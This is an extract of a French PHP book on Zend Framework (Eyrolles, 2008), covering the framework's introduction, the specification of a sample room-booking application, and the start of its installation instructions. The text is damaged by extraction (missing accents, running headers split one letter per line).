Une implmentation intuitive 386
Limplmentation MVC 388
Et les bibliothques ? 390
F. COMMENT FONCTIONNE PHP ? .................................. 393
PHP, quest-ce que cest ? 394
Principe de fonctionnement 394
Utilisation autonome 394
Utilisation avec un serveur HTTP 396
Composition 397
Environnement 398
Conseils pour paramtrer son environnement 399
Paramtrer le fichier php.ini 400
Comment optimiser PHP ? 402
Rduire les accs disque 403
Rduire les phases de compilation 403
Aperu du cache APC 404
Fonctionnement dAPC 405
Configuration dAPC 406
Fonctions et cache utilisateur 407
Fonctions dinsertion 407
Fonctions dajout 407
Fonctions de suppression 407
Fonction dinterrogation 408
G. UTILISER SUBVERSION............................................... 409
Subversion dans un projet 410
Subversion pour Zend Framework 411
Prise en main dun client Subversion 412
Installation dun client (Windows) 412
Quelques commandes Subversion 413
Liaison du dpt Subversion avec un serveur web 416
H. PRATIQUE DES TESTS AVEC PHPUNIT .......................... 417
Prsentation du concept de test 418
Les tests unitaires 419
Un exemple simple 419
Aller plus loin avec les tests : PHPUnit 422
Installer PHPUnit 422
crire des tests avec PHPUnit 423
Exemple de test unitaire 423
Concept du dveloppement pilot par les tests 426
Organisation du projet 426
Dfinition de la classe de tests des Produits 426
Dfinition de la classe de tests du Panier 428
Encore plus loin avec PHPUnit... 433
Les tests de Zend Framework 435
Tests fonctionnels avec Zend_Test 436
INDEX...................................................................... 437
Groupe Eyrolles, 2008
chapitre 1
Groupe Eyrolles, 2008
Introduction
Zend Framework
Une entreprise, pour avancer, doit respecter des rgles et
disposer doutils pour sa gestion et sa croissance. Pour les
dveloppements informatiques, cest le framework qui joue ce
rle de cadre et de bote outils. Aujourdhui, de nombreux
frameworks et composants existent pour PHP, tel point quil
est difficile de faire un choix. Zend Framework, de plus en plus
pris, fait partie de ces alternatives. Est-il adapt vos attentes
et vos mthodes de travail ?
SOMMAIRE
BAvantages et inconvnients
BStructure et principe
BConseils pour bien dmarrer
MOTS-CLS
Bavantages
Binconvnients
Bapports
Bstructure
Bprincipe
Bintroduction
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
2
Ce chapitre rsume lintrt de Zend Framework pour vos dveloppe-
ments PHP. Son objectif est de sassurer que cet outil est bien adapt
vos besoins et de vous donner les cls qui permettront de dbuter effica-
cement.
Nous nous adressons ici aussi bien au technicien qui souhaite faire le
choix dun outil pour ses dveloppements quau dcideur qui souhaite en
connatre les avantages stratgiques.
Avantages et inconvnients de Zend
Framework
Il existe de nombreux frameworks pour PHP. Zend Framework se veut,
comme PHP, simple et souple utiliser, ce qui est plus ou moins le cas
dans la ralit, comme nous le verrons par la suite. Comme tout fra-
mework, il propose des mthodes, des ressources et des outils. Il sadapte
PHP pour amliorer la qualit et la fiabilit du code, dans une certaine
mesure. De nombreuses solutions proposes aux problmes courants
sont simples, dautres comportent une implmentation avance qui
ncessite un apprentissage pralable.
Commenons par quelques avantages essentiels :
une communaut forte qui assure une durabilit exceptionnelle autant
que ncessaire. La prennit des dveloppements est fortement
dpendante de celle du framework ;
des concepteurs expriments et un code source test pour une qualit de
code garantie. Utiliser un outil fiable rduit considrablement les ris-
ques engags ;
un support commercial et technique, assur par la socit Zend, qui reste
matresse des dveloppements, un gage de prennit et de fiabilit ;
des conventions claires et compltes qui vont dans le sens du travail en
quipe. Cela permet daugmenter la vitesse de dveloppement et de
faciliter la reprise du projet long terme ;
des composants souples, de plus en plus nombreux et complets, avec
peu dinterdpendance. Ces ressources couvrent tous les dveloppe-
ments redondants et communs aux projets web, qui, grce au fra-
mework, ne sont plus redvelopper ;
un principe de fonctionnement simple qui nimpose pas une structure
rigide. Le dveloppeur est guid dans sa dmarche, sans tre con-
traint ni laiss pour compte ;
B.A.-BA Quest-ce quun framework ?
Framework signifie cadre de travail en fran-
ais. Le principal objectif de cet outil est de pro-
poser une dmarche et des ressources pour mieux
matriser les dveloppements et gagner du temps.
Lannexe A propose une introduction plus dtaille
de ce quest un framework.
ALTERNATIVE Autres frameworks PHP
En France, les principaux autres frameworks que
lon trouve sur le march des applications profes-
sionnelles sont les suivants :
Symfony : un projet mr qui propose une
architecture solide, mais lgrement plus rigide.
Il est appuy par une grande communaut
dutilisateurs ainsi quune entreprise (Sensio).
Prado : un framework srieux qui propose une
architecture intressante et un fonctionnement
trs spcifique.
Copix : un projet mr destination du monde
professionnel, qui est capable de rpondre de
nombreux besoins.
Jelix : un framework franais, comme Copix,
de bonne qualit.
CodeIgniter : un framework de plus en plus
populaire pour sa simplicit et ses perfor-
mances.
La souplesse de Zend Framework est telle que,
quelle que soit la base choisie, une collaboration
cohrente peut tre mise en place avec dautres
frameworks ou composants.
1


I
n
t
r
o
d
u
c
t
i
o
n


Z
e
n
d

F
r
a
m
e
w
o
r
k
Groupe Eyrolles, 2008
3
une installation et une prise en main simples et rapides. Cette caractris-
tique rduit les risques dus au turn-over, cest--dire le dveloppe-
ment dun projet par plusieurs dveloppeurs qui se relaient ;
la possibilit de sadapter nimporte quelle application ou dadapter
nimporte quelle ressource dans les composants. Cette absence de
limitation est une vritable porte ouverte linnovation.
Les inconvnients que nous pouvons noter lheure actuelle sont les
suivants :
Zend Framework propose des ressources dites de bas niveau. En
dautres termes, le framework ne se considre pas comme un L4G
qui permettrait de construire une application presque sans code, ce
qui limiterait les possibilits dinnovation et de personnalisation ;
rejoignant le point prcdent, Zend Framework est orient compo-
sants. Monter une application complte est complexe et requiert de
bonnes notions de dveloppement logiciel ;
ce framework demande un minimum de connaissances en programma-
tion oriente objet (POO) et ne fonctionne pas avec PHP 4. Il est impor-
tant en particulier de comprendre les aspects thoriques de certains
composants, ce qui est en partie le but de cet ouvrage.
Structure et principe
Dun point de vue technique, Zend Framework apporte PHP ce que
les rails apportent la locomotive : un support qui permet davancer effi-
cacement dans les dveloppements ; la figure 1-1 illustre ce principe. Les
grandes lignes dun framework sont les suivantes :
fournir des rgles de dveloppement claires et prcises (conventions) ;
fournir des composants rutilisables (ressources) ;
proposer un cadre technique pour le dveloppement (architecture).
T L4G
L4G signifie langage de 4
e
gnration . Le prin-
cipe dun L4G est de pouvoir dvelopper quasi-
ment sans toucher au code grce des outils,
souvent graphiques, dits de haut niveau. Les lan-
gages de 3
e
gnration permettent une meilleure
comprhension du code par lhomme grce une
syntaxe et des mots rservs. Il sagit des langages
procduraux et objets : C, Java, PHP, etc. La
deuxime gnration comprend les langages de
type assembleur et la premire, le langage
machine avec des 0 et des 1.
Figure 11
Apport de Zend Framework
dans le dveloppement web
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
4
Les rgles de dveloppement
Elles dcrivent comment organiser et crire le code PHP :
le formatage des fichiers comment les fichiers sont-ils organiss et
que contiennent-ils ?
les conventions de nommage comment nomme-t-on les fonctions, les
classes, les variables, etc. ?
le style de codage toutes les rgles qui dcrivent la forme du code
PHP : espaces, indentations, casse, etc.
quoi servent les rgles de dveloppement ?
travailler en quipe il est plus facile de relire du code dont on con-
nat les rgles dorganisation et dcriture ;
gagner du temps en sachant o se situent les fonctionnalits et
comment les trouver, de manire immdiate ;
aller plus loin en ayant la matrise globale dune application mme
lorsquil y a beaucoup de code source et de fonctionnalits dont on
nest pas forcment lauteur.
Les composants rutilisables
Ils mettent disposition des fonctionnalits courantes que lon retrouve
dans la plupart des applications web. Cela permet :
dviter davoir les dvelopper ;
davoir disposition des fonctionnalits fiables, utiles et testes ;
de minimiser la densit du code source, donc gagner du temps et
ainsi optimiser le temps de mise sur le march (time to market ou dlai
de lancement).
Larchitecture
Elle est le squelette de lapplication PHP la base technique sur laquelle
le dveloppeur peut construire. Larchitecture permet en particulier :
davoir des repres essentiels pour sorganiser et grer terme un code
source dense, avec des fonctionnalits nombreuses et complexes ;
dviter de partir dune page blanche grce la prsence dun socle
technique et dune mthodologie ;
de favoriser ladoption du mme modle pour le dveloppement de
plusieurs applications.
Nous verrons par la suite que larchitecture propose par Zend Fra-
mework est assez souple pour disposer de plusieurs configurations possi-
bles, notamment lorsque lon doit grer plusieurs applications ou une
application qui doit tre spare en modules.
MTHODE Rgles de dveloppement
Les rgles de dveloppement compltes de Zend
Framework sont dcrites dans la documentation
officielle ladresse suivante :
Bhttp://framework.zend.com/manual/fr/
coding-standard.html
Si vous navez pas de rgles prcises, nous vous
conseillons alors fortement de vous baser sur
celles-ci.
T Composant
La majorit des chapitres de cet ouvrage est con-
sacre aux composants rutilisables.
Si Zend Framework en propose de nombreux prts
lemploi, il est toujours possible de les personna-
liser ou de les complter, mais aussi den crer de
nouveaux, trs facilement.
CULTURE Architecture et MVC
On entend souvent parler de ce modle trs popu-
laire quest MVC (Modle-Vue-Contrleur). Larchi-
tecture est directement lie cette notion qui est
largement dtaille, en thorie dans lannexe E et,
en pratique, dans les chapitres 6 et 7.
1


I
n
t
r
o
d
u
c
t
i
o
n


Z
e
n
d

F
r
a
m
e
w
o
r
k
Groupe Eyrolles, 2008
5
Conseils pour bien dmarrer avec Zend
Framework
Avant de commencer avec Zend Framework, il est important dtre
conscient de certains prrequis et de ltat desprit adopter pour
apprendre dans de bonnes conditions.
Prrequis
Une bonne comprhension de Zend Framework passe par la matrise
dun bon nombre de notions.
Afin de garantir lacquisition rapide de ces notions par les dbutants et
dassurer un contenu le plus prcis et concis possible, voici une liste de
ces notions complmentaires traites en annexes.
Le framework : il est important de bien comprendre les avantages
utiliser un framework ; si ce nest pas encore le cas, reportez-vous
lannexe A.
Les bases de donnes : notamment, les notions de couche dabstrac-
tion, de passerelles, dORM et de CRUD. Si vous ne les matrisez
pas, alors lannexe B vous permettra de comprendre leurs principes,
ncessaires lapprentissage du composant Zend_Db.
La programmation oriente objet : sujet aussi vaste que ncessaire ! Si
vous ne matrisez pas les fondements de la POO, vos possibilits avec
Zend Framework seront trs limites. Lannexe C permet ceux qui
ne matrisent pas cette notion daborder les bases ncessaires et daller
plus loin si besoin.
Les design patterns : ils permettent dapprofondir la comprhension
de certains composants et de rpondre des solutions courantes de
POO. Cette notion est aborde dans lannexe D.
Le pattern MVC : lun des plus importants design patterns mrite un
chapitre thorique. Comprendre MVC est ncessaire pour aborder
larchitecture dune application web dans son ensemble. MVC est
trait dans lannexe E.
Le langage PHP : savoir comment fonctionne PHP est un gage de
confort indniable lorsquon lutilise tous les jours, ne serait-ce que
pour loptimisation et la qualit de vos dveloppements. Pour revoir
ces aspects, lisez lannexe F.
Le gestionnaire de sources Subversion : le code source de Zend Fra-
mework est stock dans un dpt de donnes Subversion. Vos projets
devraient eux aussi utiliser un gestionnaire de version, car cela pr-
sente des avantages prcieux, dtaills dans lannexe G.
CONSEIL Comprendre
le fonctionnement du framework
Il est possible, en suivant des tutoriels, darriver
dvelopper du code Zend Framework correct. Nous
insistons par contre sur le fait que la comprhension
du fonctionnement (interne) de Zend Framework est
un avantage indniable lorsquil sagit dcrire une
application, quelle quen soit la complexit.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
6
Les tests unitaires avec PHPUnit : au cur de la gestion de la qualit
et de la maintenance du code se trouvent les tests unitaires. quoi
servent-ils et comment fonctionnent-ils ? la lecture de lannexe H,
vous aurez lessentiel en main pour aborder vos dveloppements,
muni de cette notion devenue essentielle.
tat desprit
Loin de nous lide dimposer ici une conduite restrictive, il sagit juste
de prciser une chose essentielle : les concepteurs de Zend Framework
ont spcialement conu cet outil pour tre limage de PHP. Il est donc
important de prendre en considration les faits suivants :
Zend Framework nimpose rien, il propose. Libre vous de partir dans
la direction que vous souhaitez, tant au niveau de larchitecture que
de lutilisation des composants, ou mme avec vos propres normes...
Zend Framework est simple. Quil sagisse de son architecture ou de la
plupart de ses composants, lide nest pas davoir faire une usine
gaz, mais un outil qui permet de dvelopper plus vite et plus facile-
ment.
CULTURE Simplicit et souplesse
Ces deux notions, si elles ont lavantage de per-
mettre daller vite et de favoriser fortement linno-
vation, ne sont pas totalement sans inconvnient.
Se perdre dans une architecture brouillon est sans
aucun doute le premier travers viter : il est
ncessaire dtre organis et rigoureux ! Dans cet
ouvrage, nous mettons un point dhonneur main-
tenir cote que cote la rigueur ncessaire la
production de dveloppements cohrents.
1


I
n
t
r
o
d
u
c
t
i
o
n


Z
e
n
d

F
r
a
m
e
w
o
r
k
Groupe Eyrolles, 2008
7
En rsum
Zend Framework est un outil qui adopte la souplesse et, dans une cer-
taine mesure, la simplicit de PHP. Mais comme tout outil, pour en
rcolter les meilleurs fruits, il est ncessaire de le matriser et de respecter
ses rgles. Nous attirons donc votre attention sur les points suivants :
Zend Framework est un outil puissant, soutenu par une large com-
munaut et prt pour la mise en uvre dapplications stratgiques.
Cet outil comporte des conventions, une architecture modulaire qui
favorise la rutilisabilit, autant de principes ne pas perdre de vue !
Enfin, une bonne connaissance de PHP 5 et de la programmation
oriente objet, entre autres, est indispensable. Les annexes de cet
ouvrage vous aideront acqurir les prrequis ncessaires la matrise
de Zend Framework.
Groupe Eyrolles, 2008
chapitre 2
Groupe Eyrolles, 2008
Cahier des charges
de lapplication exemple
lorigine de tout projet, on trouve les mmes mots-cls :
besoins, objectifs, cahier des charges, spcifications
fonctionnelles et techniques. Sans compter la joie
de commencer un tout nouveau projet et lapprhension
de sa ralisation... Quels que soient les objectifs et les
caractristiques de votre projet, cet ouvrage vous fournira
toutes les informations techniques et mthodologiques dont
vous aurez besoin pour btir une application solide avec Zend
Framework.
SOMMAIRE
BCahier des charges
BConseils pour commencer
MOTS-CLS
Bspcifications
Bespace de travail
Boutils
Bfonctionnalits
Borganisation
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
10
Loutil qui est dcrit dans ce livre savre aujourdhui une rfrence
incontestable pour dvelopper efficacement en PHP. Il est parfaitement
adapt PHP par sa souplesse et la richesse de ses composants. De la
simple page comportant quelques lments dynamiques lapplication
critique et industrielle, Zend Framework aura sa place pour faciliter et
fiabiliser vos dveloppements.
Pour bnficier de tous les avantages quoffre Zend Framework, une
phase dadoption de loutil simpose. Lobjectif de cet ouvrage est de vous
faciliter grandement cette tape grce de nombreux exemples concrets
et conseils aviss.
Expression du besoin
Voici lexpression du besoin de lapplication exemple. Il nest bien entendu
pas obligatoire de la suivre la lettre. Vous pouvez vous servir de cet
exemple tel quel, tout comme inventer votre propre application. Seules les
fonctionnalits changent ; la technique, elle, reste la mme. Allons-y
Notre entreprise possde un certain nombre de salles de runion que de
nombreux collaborateurs internationaux doivent se partager. Aujourdhui,
il est difficile de savoir un instant T quelles sont les salles libres. De
plus, les rservations se font de manire trs improvise.
Notre besoin : mettre en place un outil qui permette aux collaborateurs
de lentreprise de rserver une salle et de consulter un calendrier des
rservations.
Bien entendu, il y a dautres dtails qui peuvent tre intressants, tels que
la possibilit ultrieure de lier le calendrier des rservations celui des
collaborateurs, exporter en CSV ou en PDF pour transmettre linforma-
tion, ou scuriser laccs loutil, de manire ne pas divulguer linfor-
mation aux gens de lextrieur.
Lobjectif : votre application !
Comme nous lavons dj fait remarquer, Zend Framework est capable
de sadapter des applications de toute taille et de toute nature. Nous
allons donc rgulirement mettre laccent sur les choix faire en fonction
des caractristiques de votre projet, car lobjectif est bien de vous faciliter
la tche grce un outil efficace.
Nous verrons en particulier que, pour la plupart des composants, vous
avez le choix entre les utiliser compltement, partiellement, ou pas du
2


C
a
h
i
e
r

d
e
s

c
h
a
r
g
e
s

d
e

l

a
p
p
l
i
c
a
t
i
o
n

e
x
e
m
p
l
e
Groupe Eyrolles, 2008
11
tout, ou encore en modifiant ou compltant leurs caractristiques. Cette
souplesse est intressante, aussi bien pour les nouveaux projets que pour
la migration de projets existants, car il est parfaitement possible deffec-
tuer le travail progressivement.
Dans lapplication exemple, nous tcherons de balayer ces diffrentes
possibilits de manire vous familiariser avec la logique du framework.
Soyez curieux ! Essayez les diffrentes possibilits qui soffrent vous,
ces connaissances seront des armes efficaces pour votre travail, vous vous
en rendrez rapidement compte.
Enfin, nous mettons aussi votre disposition lapplication exemple en
ligne. Vous pouvez la faire fonctionner et la manipuler comme bon vous
semble, au gr de votre lecture.
Spcifications fonctionnelles et techniques
Afin de se concentrer sur lessentiel, en loccurrence notre apprentissage
efficace de Zend Framework, ces spcifications resteront minimales.
Rapidement, voici quoi peuvent se rsumer nos spcifications fonc-
tionnelles, suite lexpression des besoins exprims ci-avant. Pour com-
mencer, voici une liste de fonctionnalits qui doivent apparatre dans
lapplication :
Disposer dune application en deux parties : une partie commune et
une partie rservation. Dautres parties pourront voir le jour aprs,
avec ventuellement davantage de modularit.
Dans la partie rservation, il doit tre possible davoir :
une liste pagine de rservations en cours ;
un formulaire pour crer ou diter une rservation ;
un bouton pour supprimer une rservation ;
une page qui permet dexporter des rservations et de mettre en
place des solutions dintroprabilit ;
une page daccueil.
Il doit tre possible de naviguer en franais ou en anglais, au choix, et
de pouvoir passer de lun lautre en temps rel.
Afin de garantir la scurit des donnes, lutilisateur doit
sauthentifier :
tout le monde a le droit de lire les rservations, y compris les non
authentifis (visiteurs) ;
une fois authentifi, il doit tre possible de crer des rservations et de
supprimer/diter ses propres rservations (mais pas celles des autres) ;
URL Application exemple
Vous pouvez tlcharger lapplication exemple en
ligne ladresse suivante :
Bhttp://www.zfbook.fr
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
12
un statut administrateur permet en revanche de tout faire, il est
attribu un nombre limit dutilisateurs.
Il doit tre possible dexporter des donnes dans diffrents formats
afin dchanger ses fichiers :
export PDF dune page ou de lensemble des rservations ;
export CSV dune page ou de lensemble des rservations ;
export XML dune page ou de lensemble des rservations ;
export JSON dune page ou de lensemble des rservations.
Cette application devra disposer dun moyen de communiquer avec
dautres applications de lentreprise ; pour cela, nous avons besoin des
services suivants :
un accs SOAP aux oprations de base (consulter, ajouter, diter,
supprimer) ;
un accs REST aux oprations de base, comme laccs SOAP ;
un accs JSON la liste pagine des rservations.
Enfin, cette application devrait voluer dans le temps avec des ajouts
ou des amliorations de fonctionnalits. Il convient ainsi dtre le
plus modulaire et prventif possible quant au design logiciel.
En ce qui concerne les spcifications techniques permettant la mise en
uvre des fonctionnalits exprimes, nous nous contenterons de choisir
Zend Framework comme outil de dveloppement principal, et dadapter
les bonnes pratiques dutilisation des composants au travail raliser.
Nous avons apport un soin tout fait particulier au gnie logiciel. Vous
trouverez dans les chapitres de cet ouvrage beaucoup de schmas UML.
Aussi, lcriture du code respecte les rgles du design et de larchitecture
logiciels : testabilit, extensibilit, design patterns... autant de notions qui
sont largement abordes dun point de vue thorique dans les annexes.
Un des buts de cet ouvrage est de vous faire comprendre le fonctionne-
ment de Zend Framework ; les schmas UML et les prises de dcisions
face certaines problmatiques sont ainsi tourns dans ce sens.
Maquettes
Quoi de plus parlant quune srie de maquettes pour avoir un aperu de
lapplication finale, comme nous pouvons en voir dans de nombreux
projets ?
NOTE Choix techniques
Tel que nous lavons not dans la section
Lobjectif : votre application, nous apporte-
rons chaque composant de Zend Framework un
exemple intgral, mme si les choix dimplmenta-
tion, qui se veulent complets, ne sont pas toujours
adapts aux caractristiques de lapplication. Quoi
quil en soit, nous vous guiderons pour faire des
choix pertinents avec des remarques situes en
marge.
2


C
a
h
i
e
r

d
e
s

c
h
a
r
g
e
s

d
e

l

a
p
p
l
i
c
a
t
i
o
n

e
x
e
m
p
l
e
Groupe Eyrolles, 2008
13
Figure 21
Page daccueil en franais
Figure 22
Page daccueil en anglais
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
14
Figure 23
Liste des rservations
en cours
Figure 24
dition dune rservation
2


C
a
h
i
e
r

d
e
s

c
h
a
r
g
e
s

d
e

l

a
p
p
l
i
c
a
t
i
o
n

e
x
e
m
p
l
e
Groupe Eyrolles, 2008
15
Figure 25
Ajout dune rservation
Figure 26
Page daccueil
des fonctionnalits dexport
et dinteroprabilit
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
16
Figure 27
Export en PDF
de la liste des rservations
Figure 28
Export en CSV
de la liste des rservations
2


C
a
h
i
e
r

d
e
s

c
h
a
r
g
e
s

d
e

l

a
p
p
l
i
c
a
t
i
o
n

e
x
e
m
p
l
e
Groupe Eyrolles, 2008
17
Figure 29
Export en XML
depuis la liste pagine
Figure 210
Export en JSON
depuis la liste pagine
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
18
Mises en garde et conventions
Cette application est un exemple. Mme si ses auteurs ont us de toute
leur attention pour la concevoir, celle-ci ne peut tre considre ni
comme complte ni comme parfaitement scurise.
Aussi des choix ont-ils t effectus parfois dans le but de montrer une
utilisation prcise que nous avons juge intressante, alors quintrins-
quement la fonctionnalit en question peut ne pas tre juge comme jus-
tifie. Le but reste le mme : vous montrer une fonctionnalit qui peut
sappliquer un endroit appropri.
Conventions
Nous avons ainsi choisi quelques conventions de bon sens lors de la
rdaction de cet ouvrage :
Nos schmas UML ne sont pas tous complets, auquel cas ils auraient
pris des pages entires ; ainsi, ils sont souvent nots comme simplifis,
ce qui signifie que les mthodes et les attributs napparaissent pas ou
alors que certaines classes moins importantes nont pas t intgres.
Toujours dans le but damliorer la clart des illustrations, les classes
dexception napparaissent pas dans nos modles UML de Zend Fra-
mework.
Les codes sources crits dans cet ouvrage rduisent les commentaires
PHPDOC afin damliorer la lisibilit. Les commentaires utiles la
comprhension de certaines lignes, en revanche, sont bien prsents.
Les codes sources peuvent aussi lgrement diffrer du code source
rel final de lapplication, que vous pouvez tlcharger sur Internet,
toujours pour des raisons de lisibilit et de comprhension.
Enfin, tous les exemples de lapplication respectent les rgles de syn-
taxe de Zend Framework. Celles-ci sont trs prcises et nous vous
invitons vivement les respecter.
Plateforme technique
Concernant la plateforme technique de dveloppement, nous avons
utilis :
Linux (Xubuntu, Debian) et Windows (XP) ;
Zend Framework en version 1.6.2 ;
PHP en version 5.2.6. Quelques problmes de compatibilit peuvent
apparatre dans les versions 5.1.x de PHP ;
MySQL en version 5.0.51 ;
Apache en version 2.2.8 ;
RAPPEL URL de lapplication exemple
Bhttp://www.zfbook.fr
2


C
a
h
i
e
r

d
e
s

c
h
a
r
g
e
s

d
e

l

a
p
p
l
i
c
a
t
i
o
n

e
x
e
m
p
l
e
Groupe Eyrolles, 2008
19
Zend Studio pour Eclipse en version 6.1 pour la gestion du projet ;
Subversion en version 1.4.6 ;
PHPUnit en version 3.3.1.
En rsum
Un exemple pratique de dveloppement vous accompagnera du chapitre 3
au chapitre 15 de cet ouvrage. Il sagit dune application de gestion de
salles de runion. Ce dveloppement a pour objectif de montrer comment
raliser un projet concret avec Zend Framework. Cest un support pour la
majeure partie des exemples. En revanche, du fait quil exploite un grand
nombre de composants en long, en large et en travers, et compte tenu de
sa simplicit, il sagit avant toute chose dun outil pdagogique. vous
darchitecturer votre application bon escient.
Enfin, pour bien dmarrer, privilgiez des versions rcentes de PHP,
Apache et MySQL.
Groupe Eyrolles, 2008
chapitre 3
Groupe Eyrolles, 2008
Installation
et prise en main
Pour bien des outils, la difficult dinstallation est un frein
leur adoption. Cest loin dtre le cas de Zend Framework
qui, compos seulement dun ensemble de fichiers PHP,
ne ncessite que quelques minutes dinstallation
et de configuration pour une utilisation minimale.
SOMMAIRE
BTlchargement, installation
et configuration initiale
BPremiers pas avec Zend
Framework
MOTS-CLS
Btlchargement
Bpaquetage
Binstallation
BSubversion
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
22
Zend Framework est un ensemble de fichiers crits en PHP, cest un
outil facile installer et configurer. Il ne vous faudra pas plus de dix
minutes pour cette opration. Pour suivre ce chapitre, vous avez besoin
dune connexion Internet et dun serveur web avec PHP.
La dmarche explique dans ce chapitre permet de mettre en place les
outils de base qui nous seront utiles pour lapplication exemple. Si vous
ne connaissez pas du tout Zend Framework, il est important de bien
suivre les exemples de ce chapitre.
Tlchargement du paquetage
Zend Framework est contenu dans un seul paquetage quil suffit de tl-
charger et de dployer. Commencez par dterminer un rpertoire dins-
tallation. Par exemple :
Windows
Linux
Ensuite, nous devons aller sur le site de Zend Framework, dans la section
Download, afin de rcuprer le paquetage correspondant la dernire ver-
sion du Framework. http://framework.zend.com est lURL officielle.
C:/www
$ mkdir /www
$ cd /www
RAPPEL Configuration minimale
Zend Framework requiert au minimum la version
5.1.4 de PHP pour fonctionner. Ses concepteurs
recommandent cependant une version de la
branche 5.2 de PHP, et nous, auteurs, recomman-
dons la dernire version stable de PHP en date. En
effet, au fur et mesure que Zend Framework
volue, il sadapte PHP et certains composants
ne fonctionnent alors que partiellement avec des
versions de PHP plus anciennes.
Figure 31
Tlchargement des paquetages
de Zend Framework
3


I
n
s
t
a
l
l
a
t
i
o
n

e
t

p
r
i
s
e

e
n

m
a
i
n
Groupe Eyrolles, 2008
23
Tlchargement sous Windows
1 Tlchargez le fichier, mettez-le dans votre rpertoire c:/www.
2 Faites un clic droit sur le nom du fichier, puis dcompressez-le.
3 Dplacez le rpertoire library dans c:/www et supprimez le reste.
Tlchargement sous Unix
Sous Unix, tlchargez la dernire version de Zend Framework puis
dcompactez-la avec lutilitaire darchivage tar.
Tlchargement et dcompactage de Zend Framework sous Unix
Configuration du serveur Apache
Voil, vous avez maintenant install Zend Framework. Il ne reste plus qu
configurer un serveur Apache avec PHP, de manire le faire fonctionner.
La configuration minimale du framework consiste modifier la directive
PHP include_path. Cette directive dtermine les chemins quil faut
emprunter pour inclure les fichiers dans PHP avec les appels include* et
require*.
ditez le fichier php.ini et modifiez la directive include_path :
Windows
Linux
Ensuite, nous allons crer un rpertoire htdocs qui sera visible par
Apache :
Windows
Linux
$ wget http://url/vers/zend-framework.tar.gz
$ tar -xzf zend-framework.tar.gz
$ mv zend-framework/library ./
$ rm -rf zend-framework
include_path = ".;C:/www/library"
include_path = ".:/www/library"
C:/www/htdocs
$ mkdir /www/htdocs
CONSEIL Dcompresser le paquetage
Si vous ne pouvez pas dcompresser le paquetage,
employez lutilitaire 7-zip (http://www.7-
zip.org) ou un quivalent, il en existe plein sur
Internet.
PRATIQUE Paquetages Ubuntu
Depuis sa version 8.04, Ubuntu propose la distri-
bution de Zend Framework dans ses dpts de
paquets officiels, disponibles avec la commande
apt-get ou loutil Synaptic.
PRREQUIS Apache
Les bases de la configuration dApache et de PHP
sont abordes en annexe F. Vous pouvez utiliser
tout serveur compatible avec PHP, en revanche la
partie MVC ncessite que votre serveur soit
capable dassurer la rcriture dURL
(mod_rewrite).
PERFORMANCE include_path
Pour des raisons de performances, nous vous con-
seillons de faire apparatre Zend Framework en
premier dans votre include_path, si celui-ci
doit comporter dautres chemins.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
24
Puis, nous devons modifier la configuration Apache pour que le rper-
toire racine du serveur HTTP corresponde htdocs. ditez le fichier
httpd.conf puis modifiez la directive DocumentRoot :
Windows
Linux
Redmarrez Apache et le tour est jou, votre framework est install et
configur !
Tlchargement par le dpt Subversion
Comme beaucoup de projets open source, Zend Framework est dve-
lopp par un ensemble de personnes. Le code source est donc partag et
gr par un outil de contrle de versions et demeure librement accessible
tous, du moins en lecture.
Il est donc possible daccder aux sources via le dpt Subversion. Ceci
vous permet de :
bnficier de la toute dernire version des sources et donc des der-
niers patchs ;
tester vos applicatifs sur une version prcise du framework, gnrale-
ment une version future, dans le but danticiper un changement ven-
tuel de compatibilit ;
accessoirement, bnficier des composants futurs durant leur cycle
complet de dveloppement ;
contribuer ce projet passionnant, auquel cas, bien entendu, vous
aurez besoin davoir accs au dpt. ce sujet, consultez http://
framework.zend.com/wiki/display/ZFDEV/Contributing+to+Zend+Framework.
Ce type de tlchargement est conseill si vous utilisez dj Subversion
pour vos dveloppements. Vous pouvez vous servir de la notion
dexternals de Subversion afin de lier le dpt du framework celui de
votre application.
Ladresse de la branche principale du dpt Subversion est la suivante :
http://framework.zend.com/svn/framework/standard/trunk
Si seules les sources relatives aux bibliothques du framework (le dossier
library) vous intressent, accdez directement lURL suivante :
http://framework.zend.com/svn/framework/standard/trunk/library
DocumentRoot "C:/www/htdocs"
DocumentRoot "/www/htdocs"
PRREQUIS Subversion et Zend Framework
Pour des informations dtailles sur Subversion,
ou sur la structure du dpt de Zend Framework,
rendez-vous dans lannexe G.
LIRE Subversion
Pour dcouvrir Subversion ou pour approfondir
votre connaissance et votre pratique du contrle
de versions, vous pouvez consulter louvrage
suivant :
R M. Mason, Subversion Pratique du
dveloppement collaboratif avec SVN,
Eyrolles, 2006
3


I
n
s
t
a
l
l
a
t
i
o
n

e
t

p
r
i
s
e

e
n

m
a
i
n
Groupe Eyrolles, 2008
25
Slectionnez ainsi un dossier, puis faites un clic droit et choisissez SVN
Checkout ; entrez ensuite lURL du dpt et validez : le tlchargement com-
mence. La figure 3-2 offre un aperu de cette manipulation sous Windows.
Sous Unix, lacquisition du framework via Subversion se fait en une
seule ligne de commande. Placez-vous dans le rpertoire qui contiendra
le rpertoire Zend de Zend Framework et tapez la commande adquate :
Acquisition de Zend Framework sous Unix/Linux via Subversion
Premire utilisation du framework
